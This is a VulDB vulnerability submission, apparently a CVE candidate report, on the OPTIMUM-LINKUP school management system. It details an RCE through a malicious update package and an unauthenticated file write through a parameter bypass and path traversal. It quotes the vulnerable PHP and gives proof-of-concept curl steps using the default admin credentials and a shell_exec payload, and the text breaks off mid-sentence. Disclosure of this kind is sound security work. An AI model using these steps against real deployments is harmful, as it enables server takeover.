Submit #1077289: OPTIMUM-LINKUP Latest-Optimum-School-System v1.0 rbitrary File Upload RCE + Unauthenticated Arbitrary File Writeinfo

TitleOPTIMUM-LINKUP Latest-Optimum-School-System v1.0 rbitrary File Upload RCE + Unauthenticated Arbitrary File Write
Description# OPTIMUM-LINKUP / Latest-Optimum-School-System — Arbitrary File Upload RCE + Unauthenticated Arbitrary File Write CVE Candidate Report - Audit date: 2026-11-06 - Target repository: <https://github.com/OPTIMUM-LINKUP/Latest-Optimum-School-System> (created 2017-08-04, 84 stars, master, no tags) - Stack: PHP 5.x + CodeIgniter 2.x + MySQL (bundled `optimum_school_system.sql`) - Test environment: local lab PHP 5.5.38 + MariaDB 10.5.29, **both chains reproduced live** - Verdict: - **Primary (RCE, CWE-434 -> CWE-94)**: the `Updater` controller accepts arbitrary zip update packages and `require`s a PHP script inside the package -> arbitrary code execution after admin login - **Secondary (unauthenticated arbitrary file write, CWE-306+CWE-22)**: `Mobile::update_user_image` bypasses authentication with a single `authenticate=false` parameter plus path traversal in `login_user_id`, writing outside the uploads directory without any session --- ## 1. CVE Deduplication (verified 2026-11-06) | Check | Query | Result | | ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | | NVD keyword `"Optimum School"` | `keywordSearch=%22Optimum%20School%22` | **0** | | CIRCL vendor browse | `cve.circl.lu/api/browse/optimumlinkup` | `[]` (empty) | | CIRCL exact search | `api/search/OPTIMUM-LINKUP/Latest-Optimum-School-System` | `total_count: 0` | | VulDB / web | Web search `index.php?updater` / `update_script.php` optimum | **No public record of any kind** | | Same-name exclusions | CVE-2020-10507 (School Manage System, another product), CVE-2025-11657 / CVE-2026-5472 (ProjectsAndPrograms School Management System), CVE-2026-2189 (itsourcecode) | **All different vendors, different codebases** (this product is a CodeIgniter 2.x OPTIMUM-LINKUP school system with a completely different file structure) | | Prior reports in this workspace | Compared with faysalridoy / Dipali / livealvi reports | No overlap | **Conclusion: clean, safe to submit.** (When submitting, vendor must be `OPTIMUM-LINKUP` and product `Latest-Optimum-School-System`, to distinguish it from the many generically named "School Management System" products.) --- ## 2. Submission Fields | Field | Value | | ------------- | --------------------------------------------------------------------------------------- | | Vendor | `OPTIMUM-LINKUP` | | Product | `Latest-Optimum-School-System` | | Version | 1.0 (master snapshot, last commits from the 2017 era) | | Software Link | <https://github.com/OPTIMUM-LINKUP/Latest-Optimum-School-System> | | Environment | PHP / MySQL / CodeIgniter 2.x | | CWE | CWE-434 (Unrestricted Upload) -> CWE-94 (Code Injection / RCE); compounded with CWE-306 | | CVSS 3.1 | `AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` = **7.2** (admin privileges required) | --- ## 3. Vulnerability Details ### Primary: `Updater::update()` malicious update package -> RCE (admin session required) - **File**: `application/controllers/Updater.php:46-88` - **Entry point**: `POST /index.php?updater/update`, multipart field `file_name` - **Prerequisite**: admin login session (`admin_login == 1`) ```php // Updater.php:46-88 (excerpt) $zipped_file_name = $_FILES["file_name"]["name"]; // <- client-supplied original filename $path = 'update/' . $zipped_file_name; move_uploaded_file($_FILES["file_name"]["tmp_name"], $path); // <- arbitrary zip lands on disk $zip = new ZipArchive; $res = $zip->open($path); if ($res === TRUE) { $zip->extractTo('update'); ... } // <- arbitrary extraction $unzipped_file_name = substr($zipped_file_name, 0, -4); $str = file_get_contents('./update/' . $unzipped_file_name . '/update_config.json'); $json = json_decode($str, true); require './update/' . $unzipped_file_name . '/update_script.php'; // <- direct require of PHP from the package = RCE // Afterwards, the files list in update_config.json can copy/overwrite any application file (zip-slip / overwrite chain) ``` Three-layer attack surface: 1. **`require update_script.php`** — PHP code inside the update package is executed unconditionally (the primary chain live-tested in this report); 2. The `files` array in `update_config.json` performs `copy($file['root_directory'], $file['update_directory'])` to copy/overwrite arbitrary server files (can overwrite `index.php` etc. for persistence); 3. `ZipArchive::extractTo` does not validate entry paths (zip-slip write to arbitrary directories). > Default credentials ship with the product: the bundled SQL contains `admin / [email protected] / admin` (plaintext), and real deployments often keep them — live test logged in with the default password successfully. ### Secondary: `Mobile::update_user_image()` unauthenticated arbitrary file write (path traversal) - **File**: `application/controllers/Mobile.php:405-415` (constructor at lines 23-24) - **Entry point**: `POST /index.php?mobile/update_user_image` - **Login required**: **No** — the constructor's `validate_auth_key()` plainly states that `POST authenticate=false` returns success and bypasses it (Mobile.php:696-699) ```php // Mobile.php:696-699 if ($this->input->post('authenticate') == 'false') return 'success'; // <- one-parameter bypass // Mobile.php:409-413 $user_type = $this->input->post('login_type'); // <- concatenated into the destination path $user_id = $this->input->post('login_user_id'); // <- ../ not filtered $directory = 'uploads/' . $user_type . '_image/' . $user_id . '.jpg'; move_uploaded_file($_FILES['user_image']['tmp_name'], $directory); ``` The extension is fixed to `.jpg`, so it cannot be executed as PHP directly, but the content is fully attacker-controlled and path traversal allows writing anywhere relative to the web root (overwrite existing assets, content poisoning, chained with other parsing flaws for escalation). CWE-306 + CWE-22. --- ## 4. PoC (reproduced live) Environment: `php -S 127.0.0.1:8891 -t app/optimum_school_system` + import `optimum_school_system.sql`. ### 1) Primary chain: admin uploads a malicious update package -> RCE ```bash # Log in to obtain a session (bundled default credentials [email protected] / admin) curl -s -c ck.txt -X POST "http://<host>/index.php?login/ajax_login" \ -d "[email protected]&password=admin" # -> {"login_status":"success"}, ci_session obtained # Build the malicious update package rce.zip (Python): # rce/update_config.json -> {"directory": [], "files": []} # rce/update_script.php -> <?php file_put_contents("rce_proof.txt", # "RCE_OK via Updater. whoami=".shell_exec("whoami")." os=".PHP_OS); ?> # Note: the zip filename must match the directory name inside the package # (the code derives the directory from the z
Source⚠️ https://github.com/13531282223/CVE/issues/4
User
 13353072304 (UID 102794)
Submission11/06/2026 03:29 (27 days ago)
Moderation12/02/2026 19:20 (27 days later)
StatusAccepted
VulDB entry448101 [OPTIMUM-LINKUP Latest-Optimum-School-System Updater.php update unrestricted upload]
Points20

Might our Artificial Intelligence support you?

Check our Alexa App!